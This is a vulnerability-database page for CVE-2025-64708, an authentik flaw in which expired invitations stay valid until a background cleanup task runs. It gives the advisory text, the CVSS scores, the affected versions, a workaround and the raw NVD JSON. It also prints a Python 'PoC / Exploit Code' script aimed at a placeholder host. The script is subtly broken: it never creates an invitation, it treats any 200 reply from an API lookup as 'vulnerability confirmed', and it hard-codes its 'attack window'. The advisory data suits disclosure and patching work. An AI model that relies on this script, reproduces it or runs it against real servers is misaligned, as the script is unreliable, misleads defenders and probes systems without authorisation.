Security Vulnerability Report
中文
CVE-2025-64708 CVSS 5.8 MEDIUM

CVE-2025-64708

Published: 2025-11-19 17:15:52
Last Modified: 2025-11-20 18:56:41

Description

authentik is an open-source Identity Provider. Prior to versions 2025.8.5 and 2025.10.2, in previous authentik versions, invitations were considered valid regardless if they are expired or not, thus relying on background tasks to clean up expired ones. In a normal scenario this can take up to 5 minutes because the cleanup of expired objects is scheduled to run every 5 minutes. However, with a large amount of tasks in the backlog, this might take longer. authentik versions 2025.8.5 and 2025.10.2 fix this issue. A workaround involves creating a policy that explicitly checks whether the invitation is still valid, and then bind it to the invitation stage on the invitation flow, and denying access if the invitation is not valid.

CVSS Details

CVSS Score
5.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:goauthentik:authentik:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:goauthentik:authentik:*:*:*:*:*:*:*:* - VULNERABLE
authentik < 2025.8.5
authentik < 2025.10.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-64708 PoC - authentik invitation expiration bypass # This PoC demonstrates the invitation expiration validation issue import requests import time from datetime import datetime, timedelta TARGET_URL = "https://authentik.example.com" INVITATION_CODE = "your-invitation-code-here" def check_invitation_status(): """Check if an invitation is still valid after expiration""" # Step 1: Create an invitation (normally expires immediately) create_url = f"{TARGET_URL}/api/v3/invitations/" # Step 2: Wait for invitation to expire (past TTL) print("[*] Waiting for invitation to expire...") time.sleep(360) # Wait 6 minutes (past typical cleanup interval) # Step 3: Try to use expired invitation use_url = f"{TARGET_URL}/api/v3/invitations/{INVITATION_CODE}/" response = requests.get(use_url) if response.status_code == 200: data = response.json() print(f"[!] Invitation still valid after expiration check") print(f"[!] Created: {data.get('created')}") print(f"[!] Expired but not cleaned up - vulnerability confirmed") return True return False def exploit_invitation_bypass(): """Exploit the invitation expiration bypass vulnerability""" print("[*] CVE-2025-64708 - authentik Invitation Expiration Bypass") print("[*] Target: ", TARGET_URL) # Check if expired invitation still works if check_invitation_status(): print("[+] Vulnerability confirmed: Expired invitations remain valid") print("[+] Attack window: Up to 5+ minutes after expiration") else: print("[-] Invitation properly invalidated") if __name__ == "__main__": exploit_invitation_bypass()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64708", "sourceIdentifier": "[email protected]", "published": "2025-11-19T17:15:52.220", "lastModified": "2025-11-20T18:56:40.587", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "authentik is an open-source Identity Provider. Prior to versions 2025.8.5 and 2025.10.2, in previous authentik versions, invitations were considered valid regardless if they are expired or not, thus relying on background tasks to clean up expired ones. In a normal scenario this can take up to 5 minutes because the cleanup of expired objects is scheduled to run every 5 minutes. However, with a large amount of tasks in the backlog, this might take longer. authentik versions 2025.8.5 and 2025.10.2 fix this issue. A workaround involves creating a policy that explicitly checks whether the invitation is still valid, and then bind it to the invitation stage on the invitation flow, and denying access if the invitation is not valid."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N", "baseScore": 5.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-613"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:goauthentik:authentik:*:*:*:*:*:*:*:*", "versionStartIncluding": "2025.8.0", "versionEndExcluding": "2025.8.5", "matchCriteriaId": "5F21EB7E-BB70-4943-9906-475C772482E9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:goauthentik:authentik:*:*:*:*:*:*:*:*", "versionStartIncluding": "2025.10.0", "versionEndExcluding": "2025.10.2", "matchCriteriaId": "33A96DEB-01A3-42C1-B17B-A6F65CBA55C0"}]}]}], "references": [{"url": "https://github.com/goauthentik/authentik/commit/6672e6aaa41e0f2c9bfb1e4d8b51cf114969e830", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/goauthentik/authentik/security/advisories/GHSA-ch7q-53v8-73pc", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}